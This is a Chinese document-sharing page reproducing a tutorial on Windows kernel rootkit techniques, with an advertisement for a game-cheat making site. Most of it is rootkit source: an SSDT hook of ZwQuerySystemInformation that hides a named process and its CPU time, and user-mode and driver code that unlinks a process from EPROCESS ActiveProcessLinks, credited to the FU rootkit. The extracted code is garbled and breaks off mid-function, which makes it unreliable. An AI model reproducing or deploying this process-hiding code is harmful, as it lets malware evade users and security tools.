《有关hook ssdt、eprocess的知识》由会员分享，可在线阅读，更多相关《有关hook ssdt、eprocess的知识（9页珍藏版）》请在金锄头文库上搜索。
1、有关 HOOK SSDT、EPROCESS 的知识学习各种高级外挂制作技术，马上去百度搜索“魔鬼作坊“，点击第一个站进入， 快速成为做挂达人。(1)(1) 关于隐藏进程关于隐藏进程 只复习只复习 RING0RING0的的 方 法 参 考 fuzen_opfuzen_opfuzen_opfuzen_op ：HOOKSSDT- ZwQuerySystemInformation- _SYSTEM_PROCESS.NextEntryDelta,通过判断进程名隐藏也同时隐藏时间片,科普用.NTSTATUS NewZwQuerySystemInformation(INULONG SystemInforma
2、tionClass,INPVOID SystemInformation,INULONG SystemInformationLength, OUT PULONG ReturnLength) NTSTATUS ntStatus; ntStatus = (ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus) if(System
3、InformationClass = 5) struct_SYSTEM_PROCESSES*curr=(struct_SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL;while(curr) if (curr-ProcessName.Buffer != NULL) if(0 = memcmp(curr-ProcessName.Buffer, L“sudami“, 12) m_UserTime.QuadPart += curr-UserTime.QuadPart; m_KernelTime.Qu
4、adPart += curr-KernelTime.QuadPart; if(prev) / Middle or Last entry if(curr-NextEntryDelta) prev-NextEntryDelta += curr-NextEntryDelta; else / we are last, so make prev the endprev-NextEntryDelta = 0; else if(curr-NextEntryDelta) / we are first in the list, so move it forward (char *)SystemInformati
5、on += curr-NextEntryDelta; else / we are the only process! SystemInformation = NULL; else / This is the entry for the Idle process / Add the kernel and user times of _root_* / processes to the Idle process. curr-UserTime.QuadPart += m_UserTime.QuadPart; curr-KernelTime.QuadPart += m_KernelTime.QuadP
6、art; / Reset the timers for next time we filter m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; prev = curr; if(curr-NextEntryDelta) (char *)curr += curr-NextEntryDelta); else curr = NULL; else if (SystemInformationClass = 8) / Query for SystemProcessorTimes struct_SYSTEM_PROCESSOR_TIMES*times=(str
7、uct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times-IdleTime.QuadPart+=m_UserTime.QuadPart+ m_KernelTime.QuadPart; return ntStatus; 方法 在 EPROCESS 中的 ActiveProcessLinksActiveProcessLinksActiveProcessLinksActiveProcessLinks 里摘除自身,也就是操作链表,摘除一个结 点. 老技术,偶想复习的部分是 - 从 RING3 传 PID 到 RING0,在其中转化为 EPROCESS
8、, 再比 较,相同就摘除结点老是学到后面就忘了这里了,所以还是写出来,加深印象 在 RING3 想驱动发消息, 还必须包含一个头文件,里面定义的是 IOCTL / Filename ioctlcmd.h #define FILE_DEVICE_ROOTKIT0x00002a7b #defineIOCTL_ROOTKIT_INIT(ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT,0x01,METHOD_BUFFERED, FILE_WRITE_ACCESS) #defineIOCTL_ROOTKIT_HIDEME(ULONG) CTL_CODE(FILE_DEVICE_R
9、OOTKIT,0x02,METHOD_BUFFERED, FILE_WRITE_ACCESS) 用户层通过 DeviceIoControlDeviceIoControlDeviceIoControlDeviceIoControl给驱动发送 IRP_MJ_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROL 消息 / /- / 作者 :sudami / / 函数名:InitDriver / / 参数:NULL / / 返回值:DWORD / / 函数功能:初始化驱动,在 RING3 层发送初始化
10、消息给驱动 / / ADD TIME: 2007/10/17 / / COMMENT:参考 fu_root 病毒源码 /- DWORD InitDriver() int iRetCode = ERROR_SUCCESS;DWORD d_bytesRead = 0; DWORD d_error= 0;int pid_offset = 132; int flink_offset = 136; int *os_offsets;if (Initialized) return iRetCode; os_offsets = (int *)calloc(1, sizeof(int)*8); if (!os_
11、offsets) AfxMessageBox(“!os_offsets“); return -1; memcpy(os_offsets, memcpy(os_offsets + 1, if(!DeviceIoControlDeviceIoControlDeviceIoControlDeviceIoControl( g_hDriver, IOCTL_ROOTKIT_INITIOCTL_ROOTKIT_INITIOCTL_ROOTKIT_INITIOCTL_ROOTKIT_INIT, os_offsets, sizeof(int)*8, NULL, 0, if (os_offsets) free(
12、os_offsets);Initialized = TRUE; return (iRetCode); / /- / 作者 :sudami / / 函数名:HideProc / / 参数:DWORD pid /要隐藏进程的 PID / / 返回值:DWORD / / 函数功能:隐藏进程,在 RING3 层发送 IOCTL_ROOTKIT_HIDEME 消息给驱动 / / ADD TIME: 2007/10/17 / / COMMENT:参考 fu_root 病毒源码 /-DWORD HideProc(DWORD pid) DWORD d_bytesRead; DWORD success;if (
13、!Initialized) return ERROR_NOT_READY; success = DeviceIoControlDeviceIoControlDeviceIoControlDeviceIoControl(g_hDriver, IOCTL_ROOTKIT_HIDEMEIOCTL_ROOTKIT_HIDEMEIOCTL_ROOTKIT_HIDEMEIOCTL_ROOTKIT_HIDEME, (void *) return success; 驱动层接收到用户层的消息后,进行相应处理.在 DriverEntry 中指定分派函数 DriverObject-MajorFunctionIRP_
14、MJ_SHUTDOWN= DriverObject-MajorFunctionIRP_MJ_CREATE= DriverObject-MajorFunctionIRP_MJ_CLOSE= DriverObject-MajorFunctionIRP_MJ_DEVICE_CONTROL = RootkitDispatch; 然后在自定义函数 RootkitDispatch 处理消息 NTSTATUS RootkitDispatch(INPDEVICE_OBJECT DeviceObject, INPIRP Irp ) PIO_STACK_LOCATIONirpStack; PVOIDinputBuffer; PVOIDoutputBuffer; ULONGinputBufferLength; ULONGoutputBufferLength; ULO
